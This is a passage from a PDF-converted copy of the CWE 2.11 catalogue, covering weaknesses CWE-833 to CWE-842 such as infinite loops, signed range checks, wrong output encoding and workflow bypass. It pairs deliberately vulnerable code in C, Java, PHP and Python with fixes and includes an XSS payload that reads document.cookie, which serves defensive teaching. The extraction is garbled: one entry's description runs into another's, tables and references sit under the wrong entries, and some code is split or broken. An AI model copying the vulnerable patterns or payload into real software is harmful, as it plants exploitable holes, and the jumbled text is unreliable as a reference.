<td>deadlock when an operation is performed on a resource while it is being removed.</td>
</tr>
<tr>
<td>CVE-2006-5158</td>
<td>chain: other weakness leads to NULL pointer dereference (CWE-476) or deadlock (CWE-833).</td>
</tr>
<tr>
<td>CVE-2009-1388</td>
<td>multiple simultaneous calls to the same function trigger deadlock.</td>
</tr>
<tr>
<td>CVE-2009-1961</td>
<td>OS deadlock involving 3 separate functions</td>
</tr>
<tr>
<td>CVE-2009-2699</td>
<td>deadlock in library</td>
</tr>
<tr>
<td>CVE-2009-2857</td>
<td>OS deadlock</td>
</tr>
<tr>
<td>CVE-2009-4272</td>
<td>deadlock triggered by packets that force collisions in a routing table.</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-834: Excessive Iteration

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>667</td>
<td>Improper Locking</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1034</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>853</td>
<td>CERT Java Secure Coding Section 08 - Locking (LCK)</td>
<td>844</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1299</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>LCK08-J</td>
<td>Ensure actively held locks are released on exceptional conditions</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>25</td>
<td>Forced Deadlock</td>
<td></td>
</tr>
</tbody>
</table>

References


CWE-834: Excessive Iteration

Weakness ID: 834 (Weakness Base)

Status: Incomplete

Description

Summary
The software performs an iteration or loop without sufficiently limiting the number of times that the loop is executed.

Extended Description
If the iteration can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory. In many cases, a loop does not need to be infinite in order to cause enough resource consumption to adversely affect the software or its host system; it depends on the amount of resources consumed per iteration.

Common Consequences

Availability
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
DoS: amplification
DoS: crash / exit / restart

Excessive looping will cause unexpected consumption of resources, such as CPU cycles or memory. The software's operation may slow down, or cause a long time to respond. If limited resources such as memory are consumed for each iteration, the loop may eventually cause a crash or program exit due to exhaustion of resources, such as an out-of-memory error.

Detection Methods

Dynamic Analysis with manual results interpretation
SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
Fuzz Tester
Framework-based Fuzzer
Forced Path Execution
Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
  Cost effective for partial coverage:
    Focused Manual Spotcheck - Focused manual analysis of source
    Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
  Highly cost effective:
    Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>691</td>
<td>Insufficient Control Flow Management</td>
<td>699</td>
<td></td>
</tr>
<tr>
<td>CanFollow</td>
<td>606</td>
<td>Unchecked Input for Loop Condition</td>
<td>1000</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>674</td>
<td>Uncontrolled Recursion</td>
<td>1000</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>835</td>
<td>Loop with Unreachable Exit Condition ('Infinite Loop')</td>
<td>699</td>
<td></td>
</tr>
</tbody>
</table>

References


CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')

Weakness ID: 835 (Weakness Base) Status: Incomplete

Description

Summary
The program contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.

Extended Description
If the loop can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory.

Applicable Platforms
Languages
- Language-independent

Common Consequences
Availability
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
DoS: amplification
An infinite loop will cause unexpected consumption of resources, such as CPU cycles or memory. The software's operation may slow down, or cause a long time to respond.

Demonstrative Examples
Example 1:
In the following code the method processMessagesFromServer attempts to establish a connection to a server and read and process messages from the server. The method uses a do/while loop to continue trying to establish the connection to the server when an attempt fails.

### C/C++ Example:

**Bad Code**

```c
int processMessagesFromServer(char *hostaddr, int port) {
    ... 
    int servsock;
    int connected;
    struct sockaddr_in servaddr;
    // create socket to connect to server
    servsock = socket(AF_INET, SOCK_STREAM, 0);
    memset(&servaddr, 0, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(port);
    servaddr.sin_addr.s_addr = inet_addr(hostaddr);
    do {
        // establish connection to server
        connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
        // if connected then read and process messages from server
        if (connected > -1) {
            // read and process messages
            ...
        }
        // keep trying to establish connection to the server
    } while (connected < 0);
    // close socket and return success or failure
    ...
}
```

However, this will create an infinite loop if the server does not respond. This infinite loop will consume system resources and can be used to create a denial of service attack. To resolve this a counter should be used to limit the number of attempts to establish a connection to the server, as in the following code.

### C/C++ Example:

**Good Code**

```c
int processMessagesFromServer(char *hostaddr, int port) {
    ... 
    // initialize number of attempts counter
    int count = 0;
    do {
        // establish connection to server
        connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
        // increment counter
        count++;
        // if connected then read and process messages from server
        if (connected > -1) {
            // read and process messages
            ...
        }
        // keep trying to establish connection to the server
        // up to a maximum number of attempts
    } while (connected < 0 && count < MAX_ATTEMPTS);
    // close socket and return success or failure
    ...
}
```

### Example 2:

For this example the method isReorderNeeded as part of a bookstore application that determines if a particular book needs to be reordered based on the current inventory count and the rate at which the book is being sold.

### Java Example:

**Bad Code**

```java
public boolean isReorderNeeded(String bookISBN, int rateSold) {
    boolean isReorder = false;
    int minimumCount = 10;
    int days = 0;
    ... 
}
```
// get inventory count for book
int inventoryCount = inventory.getInventoryCount(bookISBN);

// find number of days until inventory count reaches minimum
while (inventoryCount > minimumCount) {
    days++; // if number of days within reorder timeframe
    if (days > 0 & & days < 5) {
        reorder = true;
    }
}
return reorder;

However, the while loop will become an infinite loop if the rateSold input parameter has a value of zero since the inventoryCount will never fall below the minimumCount. In this case the input parameter should be validated to ensure that a value of zero does not cause an infinite loop, as in the following code.

Java Example:

```java
public boolean isReorderNeeded(String bookISBN, int rateSold) {
    ...
    // validate rateSold variable
    if (rateSold < 1) {
        return reorder;
    }
    ...
}
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2010-2534</td>
<td>Chain: improperly clearing a pointer in a linked list leads to infinite loop.</td>
</tr>
<tr>
<td>CVE-2010-4476</td>
<td>Floating point conversion routine cycles back and forth between two different values.</td>
</tr>
<tr>
<td>CVE-2010-4645</td>
<td>Floating point conversion routine cycles back and forth between two different values.</td>
</tr>
<tr>
<td>CVE-2011-1002</td>
<td>NULL UDP packet is never cleared from a queue, leading to infinite loop.</td>
</tr>
<tr>
<td>CVE-2011-1027</td>
<td>Chain: off-by-one error leads to infinite loop using invalid hex-encoded characters.</td>
</tr>
<tr>
<td>CVE-2011-1142</td>
<td>Chain: self-referential values in recursive definitions lead to infinite loop.</td>
</tr>
</tbody>
</table>

References


CWE-836: Use of Password Hash Instead of Password for Authentication

**Weakness ID:** 836 (Weakness Base)  
**Status:** Incomplete

**Description**

**Summary**

The software records password hashes in a data store, receives a hash of a password from a client, and compares the supplied hash to the hash obtained from the data store.

**Extended Description**

Some authentication mechanisms rely on the client to generate the hash for a password, possibly to reduce load on the server or avoid sending the password across the network. However, when the client is used to generate the hash, an attacker can bypass the authentication by obtaining a copy of the hash, e.g. by using SQL injection to compromise a database of authentication.
The software requires that an actor should only be able to perform an action once, or to have only one unique action, but the software does not enforce or improperly enforces this restriction. In various applications, a user is only expected to perform a certain action once, such as voting, requesting a refund, or making a purchase. When this restriction is not enforced, sometimes this can have security implications. For example, in a voting application, an attacker could attempt to "stuff the ballot box" by voting multiple times. If these votes are counted separately, then the attacker could directly affect who wins the vote. This could have significant business impact depending on the purpose of the software.

An attacker might be able to gain advantage over other users by performing the action multiple times, or affect the correctness of the software.

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1018</td>
<td>Library feature allows attackers to check out the same e-book multiple times, preventing other users from accessing copies of the e-book.</td>
</tr>
<tr>
<td>CVE-2002-216</td>
<td>Polling software allows people to vote more than once by setting a cookie.</td>
</tr>
<tr>
<td>CVE-2003-1433</td>
<td>Chain: lack of validation of a challenge key in a game allows a player to register multiple times and lock other players out of the game.</td>
</tr>
<tr>
<td>CVE-2005-4051</td>
<td>CMS allows people to rate downloads by voting more than once.</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-838: Inappropriate Encoding for Output Context

Reference

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2008-0294</td>
<td>Ticket-booking web application allows a user to lock a seat more than once.</td>
</tr>
<tr>
<td>CVE-2009-2346</td>
<td>Protocol implementation allows remote attackers to cause a denial of service (call-number exhaustion) by initiating many message exchanges.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>799</td>
<td>Improper Control of Interaction Frequency</td>
<td>699 129</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
</tbody>
</table>

CWE-838: Inappropriate Encoding for Output Context

Weakness ID: 838 (Weakness Base) Status: Incomplete

Description

Summary
The software uses or specifies an encoding when generating output to a downstream component, but the specified encoding is not the same as the encoding that is expected by the downstream component.

Extended Description
This weakness can cause the downstream component to use a decoding method that produces different data than what the software intended to send. When the wrong encoding is used - even if closely related - the downstream component could decode the data incorrectly. This can have security consequences when the provided boundaries between control and data are inadvertently broken, because the resulting data could introduce control characters or special elements that were not sent by the software. The resulting data could then be used to bypass protection mechanisms such as input validation, and enable injection attacks.

While using output encoding is essential for ensuring that communications between components are accurate, the use of the wrong encoding - even if closely related - could cause the downstream component to misinterpret the output.

For example, HTML entity encoding is used for elements in the HTML body of a web page. However, a programmer might use entity encoding when generating output for that is used within an attribute of an HTML tag, which could contain functional Javascript that is not affected by the HTML encoding.

While web applications have received the most attention for this problem, this weakness could potentially apply to any type of software that uses a communications stream that could support multiple encodings.

Applicable Platforms
Languages
- Language-independent

Common Consequences
Integrity
Confidentiality
Availability
Modify application data
Execute unauthorized code or commands
- An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.

Demonstrative Examples
This code dynamically builds an HTML page using POST data:

**PHP Example:**

```php
$username = $_POST['username'];
$picSource = $_POST['picsource'];
$picAltText = $_POST['picalttext'];
...
echo "<title>Welcome, " . htmlentities($username) . "</title>";
echo "<img src=". htmlentities($picSource) . " alt=". htmlentities($picAltText) . " /">";
```

**Bad Code**
The programmer attempts to avoid XSS exploits (CWE-79) by encoding the POST values so they will not be interpreted as valid HTML. However, the `htmlentities()` encoding is not appropriate when the data are used as HTML attributes, allowing more attributes to be injected.

For example, an attacker can set `picAltText` to:

```
"altTextHere' onload='alert(document.cookie)"
```

This will result in the generated HTML image tag:

```
<HTML Example>
</HTML Example>
```

The attacker can inject arbitrary javascript into the tag due to this incorrect encoding.

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2009-2814</td>
<td>Server does not properly handle requests that do not contain UTF-8 data; browser assumes UTF-8, allowing XSS.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

#### Implementation

**Output Encoding**

Use context-aware encoding. That is, understand which encoding is being used by the downstream component, and ensure that this encoding is used. If an encoding can be specified, do so, instead of assuming that the default encoding is the same as the default being assumed by the downstream component.

#### Architecture and Design

**Output Encoding**

Where possible, use communications protocols or data formats that provide strict boundaries between control and data. If this is not feasible, ensure that the protocols or formats allow the communicating components to explicitly state which encoding/decoding method is being used. Some template frameworks provide built-in support.

**Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [R.838.7] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Note that some template mechanisms provide built-in support for the appropriate encoding.
CWE-839: Numeric Range Comparison Without Minimum Check

CWE Version 2.11

Weakness ID: 839 (Weakness Base) Status: Incomplete

Description

Summary
The program checks a value to ensure that it does not exceed a maximum, but it does not verify that the value exceeds the minimum.

Extended Description
Some programs use signed integers or floats even when their values are only expected to be positive or 0. An input validation check might assume that the value is positive, and only check for the maximum value. If the value is negative, but the code assumes that the value is positive, this can produce an error. The error may have security consequences if the negative value is used for memory allocation, array access, buffer access, etc. Ultimately, the error could lead to a buffer overflow or other type of memory corruption.

The use of a negative number in a positive-only context could have security implications for other types of resources. For example, a shopping cart might check that the user is not requesting more than 10 items, but a request for -3 items could cause the application to calculate a negative price and credit the attacker's account.

Alternate Terms
Signed comparison
The "signed comparison" term is often used to describe when the program uses a signed variable and checks it to ensure that it is less than a maximum value (typically a maximum buffer size), but does not verify that it is greater than 0.

Applicable Platforms
Languages
• C (Often)
• C++ (Often)

Common Consequences
Integrity
Confidentiality
Availability
Modify application data
Execute unauthorized code or commands
An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.

References
Dinis Cruz. "Can we please stop saying that XSS is boring and easy to fix!". 2010-09-25. <http://diniscruz.blogspot.com/2010/09/can-we-please-stop-saying-that-xss-is.html>.
Availability
DoS: resource consumption (other)
in some contexts, a negative value could lead to resource consumption.

Confidentiality
Integrity
Modify memory
Read memory
If a negative value is used to access memory, buffers, or other indexable structures, it could access memory outside the bounds of the buffer.

Demonstrative Examples
Example 1:
The following code is intended to read an incoming packet from a socket and extract one or more headers.

C Example:
```c
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);
```
The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 2:
The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

C Example:
```c
int GetUntrustedInt () { 
    return(0x0000FFFF);
}

void main (int argc, char **argv) {
    char path[256];
    char *input;
    int i;
    short s;
    unsigned int sz;
    i = GetUntrustedInt();
    s = i;
    /* s is -1 so it passes the safety check - CWE-697 */
    if (s > 256) {
        DiePainfully("go away!
    }
    /* s is sign-extended and saved in sz */
    sz = s;
    /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */
```
printf("i=%d, s=%d, sz=%u\n", i, s, sz);
input = GetUserInput("Enter pathname: ");
/* strncpy interprets s as unsigned int, so it's treated as MAX_INT
(CWE-195), enabling buffer overflow (CWE-119) */
strncpy(path, input, s);
path[255] = '\0'; /* don't want CWE-170 */
printf("Path is: %s\n", path);
}

This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).

**Example 3:**

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

C Example:

```
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    } // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

C Example:

```
... // check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
...
```

**Example 4:**

The following code shows a simple BankAccount class with deposit and withdraw methods.

Java Example:

```
public class BankAccount {
    public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;
    // variable for bank account balance
    private double accountBalance;
    // constructor for BankAccount
    public BankAccount() {
        accountBalance = 0;
    }
    // method to deposit amount into BankAccount
    public void deposit(double depositAmount) {...
    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        if (withdrawAmount < MAXIMUM_WITHDRAWAL_LIMIT) {
```

1285
The withdraw method includes a check to ensure that the withdrawal amount does not exceed the maximum limit allowed, however the method does not check to ensure that the withdrawal amount is greater than a minimum value (CWE-129). Performing a range check on a value that does not include a minimum check can have significant security implications, in this case not including a minimum range check can allow a negative value to be used which would cause the financial application using this class to deposit money into the user account rather than withdrawing. In this example the if statement should the modified to include a minimum range check, as shown below.

Java Example:

```java
public class BankAccount {
    public final int MINIMUM_WITHDRAWAL_LIMIT = 0;
    public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;
    ...

    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        if (withdrawAmount < MAXIMUM_WITHDRAWAL_LIMIT &&
            withdrawAmount > MINIMUM_WITHDRAWAL_LIMIT) {
            ...
        }
    }
}
```

Note that this example does not protect against concurrent access to the BankAccount balance variable, see CWE-413 and CWE-362.

While it is out of scope for this example, note that the use of doubles or floats in financial calculations may be subject to certain kinds of attacks where attackers use rounding errors to steal money.

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2008-4558</td>
<td>chain: negative ID in media player bypasses check for maximum index, then used as an array index for buffer under-read.</td>
</tr>
<tr>
<td>CVE-2008-6393</td>
<td>chain: file transfer client performs signed comparison, leading to integer overflow and heap-based buffer overflow.</td>
</tr>
<tr>
<td>CVE-2009-1099</td>
<td>Chain: 16-bit counter can be interpreted as a negative value, compared to a 32-bit maximum value, leading to buffer under-write.</td>
</tr>
<tr>
<td>CVE-2009-3080</td>
<td>Chain: negative offset value to IOCTL bypasses check for maximum index, then used as an array index for buffer under-read.</td>
</tr>
<tr>
<td>CVE-2010-1866</td>
<td>Chain: integer overflow causes a negative signed value, which later bypasses a maximum-only check, leading to heap-based buffer overflow.</td>
</tr>
<tr>
<td>CVE-2010-2530</td>
<td>Chain: Negative value stored in an int bypasses a size check and causes allocation of large amounts of memory.</td>
</tr>
<tr>
<td>CVE-2010-3704</td>
<td>Chain: parser uses atoi() but does not check for a negative value, which can happen on some platforms, leading to buffer under-write.</td>
</tr>
<tr>
<td>CVE-2011-0521</td>
<td>Chain: kernel's lack of a check for a negative value leads to memory corruption.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

#### Implementation

**Enforcement by Conversion**

If the number to be used is always expected to be positive, change the variable type from signed to unsigned or size_t.
Implementation

Input Validation

If the number to be used could have a negative value based on the specification (thus requiring a signed value), but the number should only be positive to preserve code correctness, then include a check to ensure that the value is positive.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td></td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>1000</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>124</td>
<td>Buffer Underwrite ('Buffer Underflow')</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>187</td>
<td>Partial Comparison</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>189</td>
<td>Numeric Errors</td>
<td>699</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>195</td>
<td>Signed to Unsigned Conversion Error</td>
<td>699</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>682</td>
<td>Incorrect Calculation</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

References


CWE-840: Business Logic Errors

Category ID: 840 (Category)  Status: Incomplete

Description

Summary

Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application.

Extended Description

Errors in business logic can be devastating to an entire application. They can be difficult to find automatically, since they typically involve legitimate use of the application's functionality. However, many business logic errors can exhibit patterns that are similar to well-understood implementation and design weaknesses.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2010-4624</td>
<td>Bulletin board applies restrictions on number of images during post creation, but does not enforce this on editing.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>200</td>
<td>Information Exposure</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>282</td>
<td>Improper Ownership Management</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>285</td>
<td>Improper Authorization</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>288</td>
<td>Authentication Bypass Using an Alternate Path or Channel</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>408</td>
<td>Incorrect Behavior Order: Early Amplification</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>596</td>
<td>Incorrect Semantic Object Comparison</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>639</td>
<td>Authorization Bypass Through User-Controlled Key</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>640</td>
<td>Weak Password Recovery Mechanism for Forgotten Password</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>666</td>
<td>Operation on Resource in Wrong Phase of Lifetime</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>696</td>
<td>Incorrect Behavior Order</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>699</td>
<td>Development Concepts</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>732</td>
<td>Incorrect Permission Assignment for Critical Resource</td>
<td>699</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-841: Improper Enforcement of Behavioral Workflow

Research Gaps
The classification of business logic flaws has been under-studied, although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles.

Many business logic flaws appear to be oriented toward business processes, application flows, and sequences of behaviors, which are not as well-represented in CWE as weaknesses related to input validation, memory management, etc.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>WASC</td>
<td>42</td>
<td>Abuse of Functionality</td>
</tr>
</tbody>
</table>

References

CWE-841: Improper Enforcement of Behavioral Workflow

<table>
<thead>
<tr>
<th>Weakness ID: 841 (Weakness Base)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary
The software supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence.

Extended Description
By performing actions in an unexpected order, or by omitting steps, an attacker could manipulate the business logic of the software or cause it to enter an invalid state. In some cases, this can also expose resultant weaknesses.
For example, a file-sharing protocol might require that an actor perform separate steps to provide a username, then a password, before being able to transfer files. If the file-sharing server accepts a password command followed by a transfer command, without any username being provided, the software might still perform the transfer.
Note that this is different than CWE-696, which focuses on when the software performs actions in the wrong sequence; this entry is closely related, but it is focused on ensuring that the actor performs actions in the correct sequence.

Workflow-related behaviors include:
- Steps are performed in the expected order.
- Required steps are not omitted.
- Steps are not interrupted.
- Steps are performed in a timely fashion.

**Common Consequences**

**Other**

**Alter execution logic**

An attacker could cause the software to skip critical steps or perform them in the wrong order, bypassing its intended business logic. This can sometimes have security implications.

**Demonstrative Examples**

This code is part of an FTP server and deals with various commands that could be sent by a user. It is intended that a user must successfully login before performing any other action such as retrieving or listing files.

**Python Example:**

```python
def dispatchCommand(command, user, args):
    if command == 'Login':
        loginUser(args)
        return

    # user has requested a file
    if command == 'Retrieve_file':
        if authenticated(user) and ownsFile(user, args):
            sendFile(args)
            return

    if command == 'List_files':
        listFiles(args)
        return

    ...
```

The server correctly does not send files to a user that isn't logged in and doesn't own the file. However, the server will incorrectly list the files in any directory without confirming the command came from an authenticated user, and that the user is authorized to see the directory's contents.

Here is a fixed version of the above example:

**Python Example:**

```python
def dispatchCommand(command, user, args):
    ...
    if command == 'List_files':
        if authenticated(user) and ownsDirectory(user, args):
            listFiles(args)
            return
    ...
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0777</td>
<td>Chain: product does not properly handle dropped connections, leading to missing NULL terminator (CWE-170) and segmentation fault.</td>
</tr>
<tr>
<td>CVE-2004-0829</td>
<td>Chain: File server crashes when sent a “find next” request without an initial &quot;find first.&quot;</td>
</tr>
<tr>
<td>CVE-2004-2164</td>
<td>Shopping cart does not close a database connection when user restores a previous order, leading to connection exhaustion.</td>
</tr>
<tr>
<td>CVE-2005-3296</td>
<td>FTP server allows remote attackers to list arbitrary directories as root by running the LIST command before logging in.</td>
</tr>
<tr>
<td>CVE-2005-3327</td>
<td>Chain: Authentication bypass by skipping the first startup step as required by the protocol.</td>
</tr>
<tr>
<td>CVE-2007-3012</td>
<td>Attacker can access portions of a restricted page by canceling out of a dialog.</td>
</tr>
<tr>
<td>CVE-2009-5056</td>
<td>Ticket-tracking system does not enforce a permission setting.</td>
</tr>
<tr>
<td>CVE-2010-2620</td>
<td>FTP server allows remote attackers to bypass authentication by sending (1) LIST, (2) RETR, (3) STOR, or other commands without performing the required login steps first.</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-842: Placement of User into Incorrect Group

Reference
CVE-2011-0348

Description
Bypass of access/billing restrictions by sending traffic to an unrestricted destination before sending to a restricted destination.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>438</td>
<td>Behavioral Problems</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>691</td>
<td>Insufficient Control Flow Management</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>840</td>
<td>Business Logic Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>867</td>
<td>2011 Top 25 - Weaknesses On the Cusp</td>
<td>900</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Research Gaps
This weakness is typically associated with business logic flaws, except when it produces resultant weaknesses.

The classification of business logic flaws has been under-studied, although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles.

Many business logic flaws appear to be oriented toward business processes, application flows, and sequences of behaviors, which are not as well-represented in CWE as weaknesses related to input validation, memory management, etc.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>WASC</td>
<td>40</td>
<td>Insufficient Process Validation</td>
</tr>
</tbody>
</table>

References

CWE-842: Placement of User into Incorrect Group

Weakness ID: 842 (Weakness Base)  Status: Incomplete

Description

Summary
The software or the administrator places a user into an incorrect group.

Extended Description
If the incorrect group has more access or privileges than the intended group, the user might be able to bypass intended security policy to access unexpected resources or perform unexpected actions. The access-control system might not be able to detect malicious usage of this group membership.

**Time of Introduction**
- Implementation
- Operation

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**

**Access Control**
- Gain privileges / assume identity

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1193</td>
